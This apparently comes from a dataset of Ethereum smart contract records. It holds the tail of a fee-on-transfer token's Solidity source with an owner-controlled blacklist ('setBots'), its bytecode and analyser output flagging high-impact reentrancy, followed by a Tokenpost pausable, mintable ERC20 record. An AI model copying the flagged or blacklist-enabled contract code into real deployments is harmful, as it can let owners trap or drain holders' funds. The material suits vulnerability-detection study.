if (to == uniswapV2Pair && from != address(uniswapV2Router) && ! _isExcludedFromFee[from]) {
_feeAddr1 = 2;
_feeAddr2 = 10;
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 1e10 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function maxbuy() public onlyOwner {
_maxTxAmount = 1e12 * 10**9;
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualswap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _feeAddr1, _feeAddr2);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x60806040526004361061010d5760003560e01c806370a0823111610095578063a9059cbb11610064578063a9059cbb146102e1578063b515566a14610301578063c3c8cd8014610321578063c9567bf914610336578063dd62ed3e1461034b57600080fd5b806370a0823114610258578063715018a6146102785780638da5cb5b1461028d57806395d89b41146102b557600080fd5b8063273123b7116100dc578063273123b7146101d05780633128cdac146101f2578063313ce567146102075780635932ead1146102235780636fc3eaec1461024357600080fd5b806306fdde0314610119578063095ea7b31461015a57806318160ddd1461018a57806323b872dd146101b057600080fd5b3661011457005b600080fd5b34801561012557600080fd5b50604080518082019091526006815265576f5745524360d01b60208201525b604051610151919061180d565b60405180910390f35b34801561016657600080fd5b5061017a6101753660046116ad565b610391565b6040519015158152602001610151565b34801561019657600080fd5b50683635c9adc5dea000005b604051908152602001610151565b3480156101bc57600080fd5b5061017a6101cb36600461166c565b6103a8565b3480156101dc57600080fd5b506101f06101eb3660046115f9565b610411565b005b3480156101fe57600080fd5b506101f0610465565b34801561021357600080fd5b5060405160098152602001610151565b34801561022f57600080fd5b506101f061023e3660046117a5565b61049e565b34801561024f57600080fd5b506101f06104e6565b34801561026457600080fd5b506101a26102733660046115f9565b610513565b34801561028457600080fd5b506101f0610535565b34801561029957600080fd5b506000546040516001600160a01b039091168152602001610151565b3480156102c157600080fd5b50604080518082019091526003815262574f5760e81b6020820152610144565b3480156102ed57600080fd5b5061017a6102fc3660046116ad565b6105a9565b34801561030d57600080fd5b506101f061031c3660046116d9565b6105b6565b34801561032d57600080fd5b506101f061064c565b34801561034257600080fd5b506101f0610682565b34801561035757600080fd5b506101a2610366366004611633565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b600061039e338484610a45565b5060015b92915050565b60006103b5848484610b69565b6104078433610402856040518060600160405280602881526020016119f9602891396001600160a01b038a1660009081526004602090815260408083203384529091529020549190610eb6565b610a45565b5060019392505050565b6000546001600160a01b031633146104445760405162461bcd60e51b815260040161043b90611862565b60405180910390fd5b6001600160a01b03166000908152600660205260409020805460ff19169055565b6000546001600160a01b0316331461048f5760405162461bcd60e51b815260040161043b90611862565b683635c9adc5dea00000601055565b6000546001600160a01b031633146104c85760405162461bcd60e51b815260040161043b90611862565b600f8054911515600160b81b0260ff60b81b19909216919091179055565b600c546001600160a01b0316336001600160a01b03161461050657600080fd5b4761051081610ef0565b50565b6001600160a01b0381166000908152600260205260408120546103a290610f75565b6000546001600160a01b0316331461055f5760405162461bcd60e51b815260040161043b90611862565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b600061039e338484610b69565b6000546001600160a01b031633146105e05760405162461bcd60e51b815260040161043b90611862565b60005b815181101561064857600160066000848481518110610604576106046119a9565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061064081611978565b9150506105e3565b5050565b600c546001600160a01b0316336001600160a01b03161461066c57600080fd5b600061067730610513565b905061051081610ff9565b6000546001600160a01b031633146106ac5760405162461bcd60e51b815260040161043b90611862565b600f54600160a01b900460ff16156107065760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161043b565b600e80546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556107433082683635c9adc5dea00000610a45565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561077c57600080fd5b505afa158015610790573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107b49190611616565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156107fc57600080fd5b505afa158015610810573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108349190611616565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561087c57600080fd5b505af1158015610890573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108b49190611616565b600f80546001600160a01b0319166001600160a01b03928316179055600e541663f305d71947306108e481610513565b6000806108f96000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b15801561095c57600080fd5b505af1158015610970573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061099591906117df565b5050600f8054678ac7230489e8000060105563ffff00ff60a01b198116630101000160a01b17909155600e5460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610a0d57600080fd5b505af1158015610a21573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061064891906117c2565b6001600160a01b038316610aa75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161043b565b6001600160a01b038216610b085760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161043b565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610bcd5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161043b565b6001600160a01b038216610c2f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161043b565b60008111610c915760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161043b565b6002600a556008600b556000546001600160a01b03848116911614801590610cc757506000546001600160a01b03838116911614155b15610ea6576001600160a01b03831660009081526006602052604090205460ff16158015610d0e57506001600160a01b03821660009081526006602052604090205460ff16155b610d1757600080fd5b600f546001600160a01b038481169116148015610d425750600e546001600160a01b03838116911614155b8015610d6757506001600160a01b03821660009081526005602052604090205460ff16155b8015610d7c5750600f54600160b81b900460ff165b15610dd957601054811115610d9057600080fd5b6001600160a01b0382166000908152600760205260409020544211610db457600080fd5b610dbf42601e611908565b6001600160a01b0383166000908152600760205260409020555b600f546001600160a01b038381169116148015610e045750600e546001600160a01b03848116911614155b8015610e2957506001600160a01b03831660009081526005602052604090205460ff16155b15610e39576002600a908155600b555b6000610e4430610513565b600f54909150600160a81b900460ff16158015610e6f5750600f546001600160a01b03858116911614155b8015610e845750600f54600160b01b900460ff165b15610ea457610e9281610ff9565b478015610ea257610ea247610ef0565b505b505b610eb1838383611182565b505050565b60008184841115610eda5760405162461bcd60e51b815260040161043b919061180d565b506000610ee78486611961565b95945050505050565b600c546001600160a01b03166108fc610f0a83600261118d565b6040518115909202916000818181858888f19350505050158015610f32573d6000803e3d6000fd5b50600d546001600160a01b03166108fc610f4d83600261118d565b6040518115909202916000818181858888f19350505050158015610648573d6000803e3d6000fd5b6000600854821115610fdc5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b606482015260840161043b565b6000610fe66111cf565b9050610ff2838261118d565b9392505050565b600f805460ff60a81b1916600160a81b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110611041576110416119a9565b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561109557600080fd5b505afa1580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190611616565b816001815181106110e0576110e06119a9565b6001600160a01b039283166020918202929092010152600e546111069130911684610a45565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061113f908590600090869030904290600401611897565b600060405180830381600087803b15801561115957600080fd5b505af115801561116d573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610eb18383836111f2565b6000610ff283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506112e9565b60008060006111dc611317565b90925090506111eb828261118d565b9250505090565b60008060008060008061120487611359565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061123690876113b6565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461126590866113f8565b6001600160a01b03891660009081526002602052604090205561128781611457565b61129184836114a1565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516112d691815260200190565b60405180910390a3505050505050505050565b6000818361130a5760405162461bcd60e51b815260040161043b919061180d565b506000610ee78486611920565b6008546000908190683635c9adc5dea00000611333828261118d565b82101561135057505060085492683635c9adc5dea0000092509050565b90939092509050565b60008060008060008060008060006113768a600a54600b546114c5565b92509250925060006113866111cf565b905060008060006113998e87878761151a565b919e509c509a509598509396509194505050505091939550919395565b6000610ff283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610eb6565b6000806114058385611908565b905083811015610ff25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161043b565b60006114616111cf565b9050600061146f838361156a565b3060009081526002602052604090205490915061148c90826113f8565b30600090815260026020526040902055505050565b6008546114ae90836113b6565b6008556009546114be90826113f8565b6009555050565b60008080806114df60646114d9898961156a565b9061118d565b905060006114f260646114d98a8961156a565b9050600061150a826115048b866113b6565b906113b6565b9992985090965090945050505050565b6000808080611529888661156a565b90506000611537888761156a565b90506000611545888861156a565b905060006115578261150486866113b6565b939b939a50919850919650505050505050565b600082611579575060006103a2565b60006115858385611942565b9050826115928583611920565b14610ff25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161043b565b80356115f4816119d5565b919050565b60006020828403121561160b57600080fd5b8135610ff2816119d5565b60006020828403121561162857600080fd5b8151610ff2816119d5565b6000806040838503121561164657600080fd5b8235611651816119d5565b91506020830135611661816119d5565b809150509250929050565b60008060006060848603121561168157600080fd5b833561168c816119d5565b9250602084013561169c816119d5565b929592945050506040919091013590565b600080604083850312156116c057600080fd5b82356116cb816119d5565b946020939093013593505050565b600060208083850312156116ec57600080fd5b823567ffffffffffffffff8082111561170457600080fd5b818501915085601f83011261171857600080fd5b81358181111561172a5761172a6119bf565b8060051b604051601f19603f8301168101818110858211171561174f5761174f6119bf565b604052828152858101935084860182860187018a101561176e57600080fd5b600095505b8386101561179857611784816115e9565b855260019590950194938601938601611773565b5098975050505050505050565b6000602082840312156117b757600080fd5b8135610ff2816119ea565b6000602082840312156117d457600080fd5b8151610ff2816119ea565b6000806000606084860312156117f457600080fd5b8351925060208401519150604084015190509250925092565b600060208083528351808285015260005b8181101561183a5785810183015185820160400152820161181e565b8181111561184c576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156118e75784516001600160a01b0316835293830193918301916001016118c2565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561191b5761191b611993565b500190565b60008261193d57634e487b7160e01b600052601260045260246000fd5b500490565b600081600019048311821515161561195c5761195c611993565b500290565b60008282101561197357611973611993565b500390565b600060001982141561198c5761198c611993565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b038116811461051057600080fd5b801515811461051057600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220b10517c5ed5a3c611a7a4a2e120bef0c3ed761c6bd0ae15eedf281c69005edd164736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 7,982 |
0x8ceb29c6bde874aaf4ce387d88f0a1215c785694
|
pragma solidity ^0.4.23;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to relinquish control of the contract.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
/**
* @dev Transfers control of the contract to a newOwner.
* @param _newOwner The address to transfer ownership to.
*/
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev Total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev Transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function () public payable {
revert();
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Pausable token
* @dev StandardToken modified with pausable transfers.
**/
contract PausableToken is StandardToken, Pausable {
function transfer(
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transfer(_to, _value);
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function approve(
address _spender,
uint256 _value
)
public
whenNotPaused
returns (bool)
{
return super.approve(_spender, _value);
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
whenNotPaused
returns (bool success)
{
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
whenNotPaused
returns (bool success)
{
return super.decreaseApproval(_spender, _subtractedValue);
}
}
/**
* @title Mintable token
* @dev Simple ERC20 Token example, with mintable token creation
* Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol
*/
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier hasMintPermission() {
require(msg.sender == owner);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(
address _to,
uint256 _amount
)
hasMintPermission
canMint
public
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title SimpleToken
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract Tokenpost is StandardToken, PausableToken, MintableToken {
string public constant name = "Tokenpost";
string public constant symbol = "TPC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000000000 * (10 ** uint256(decimals));
/**
* @dev Constructor that gives msg.sender all of existing tokens.
*/
constructor() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x60806040526004361061011c5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166305d2035b811461012157806306fdde031461014a578063095ea7b3146101d457806318160ddd146101f857806323b872dd1461021f5780632ff2e9dc14610249578063313ce5671461025e5780633f4ba83a1461028957806340c10f19146102a05780635c975abb146102c457806366188463146102d957806370a08231146102fd578063715018a61461031e5780637d64bcb4146103335780638456cb59146103485780638da5cb5b1461035d57806395d89b411461038e578063a9059cbb146103a3578063d73dd623146103c7578063dd62ed3e146103eb578063f2fde38b14610412575b600080fd5b34801561012d57600080fd5b50610136610433565b604080519115158252519081900360200190f35b34801561015657600080fd5b5061015f610455565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610199578181015183820152602001610181565b50505050905090810190601f1680156101c65780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101e057600080fd5b50610136600160a060020a036004351660243561048c565b34801561020457600080fd5b5061020d6104b7565b60408051918252519081900360200190f35b34801561022b57600080fd5b50610136600160a060020a03600435811690602435166044356104bd565b34801561025557600080fd5b5061020d6104ea565b34801561026a57600080fd5b506102736104fa565b6040805160ff9092168252519081900360200190f35b34801561029557600080fd5b5061029e6104ff565b005b3480156102ac57600080fd5b50610136600160a060020a036004351660243561057b565b3480156102d057600080fd5b5061013661069b565b3480156102e557600080fd5b50610136600160a060020a03600435166024356106ab565b34801561030957600080fd5b5061020d600160a060020a03600435166106cf565b34801561032a57600080fd5b5061029e6106ea565b34801561033f57600080fd5b5061013661075c565b34801561035457600080fd5b5061029e610809565b34801561036957600080fd5b5061037261088a565b60408051600160a060020a039092168252519081900360200190f35b34801561039a57600080fd5b5061015f610899565b3480156103af57600080fd5b50610136600160a060020a03600435166024356108d0565b3480156103d357600080fd5b50610136600160a060020a03600435166024356108f4565b3480156103f757600080fd5b5061020d600160a060020a0360043581169060243516610918565b34801561041e57600080fd5b5061029e600160a060020a0360043516610943565b6003547501000000000000000000000000000000000000000000900460ff1681565b60408051808201909152600981527f546f6b656e706f73740000000000000000000000000000000000000000000000602082015281565b60035460009060a060020a900460ff16156104a657600080fd5b6104b0838361096a565b9392505050565b60015490565b60035460009060a060020a900460ff16156104d757600080fd5b6104e28484846109d4565b949350505050565b6b204fce5e3e2502611000000081565b601281565b60035433600160a060020a0390811691161461051a57600080fd5b60035460a060020a900460ff16151561053257600080fd5b6003805474ff0000000000000000000000000000000000000000191690556040517f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3390600090a1565b60035460009033600160a060020a0390811691161461059957600080fd5b6003547501000000000000000000000000000000000000000000900460ff16156105c257600080fd5b6001546105d5908363ffffffff610b5416565b600155600160a060020a038316600090815260208190526040902054610601908363ffffffff610b5416565b600160a060020a03841660008181526020818152604091829020939093558051858152905191927f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d412139688592918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a350600192915050565b60035460a060020a900460ff1681565b60035460009060a060020a900460ff16156106c557600080fd5b6104b08383610b67565b600160a060020a031660009081526020819052604090205490565b60035433600160a060020a0390811691161461070557600080fd5b600354604051600160a060020a03909116907ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482090600090a26003805473ffffffffffffffffffffffffffffffffffffffff19169055565b60035460009033600160a060020a0390811691161461077a57600080fd5b6003547501000000000000000000000000000000000000000000900460ff16156107a357600080fd5b6003805475ff000000000000000000000000000000000000000000191675010000000000000000000000000000000000000000001790556040517fae5184fba832cb2b1f702aca6117b8d265eaf03ad33eb133f19dde0f5920fa0890600090a150600190565b60035433600160a060020a0390811691161461082457600080fd5b60035460a060020a900460ff161561083b57600080fd5b6003805474ff0000000000000000000000000000000000000000191660a060020a1790556040517f6985a02210a168e66602d3235cb6d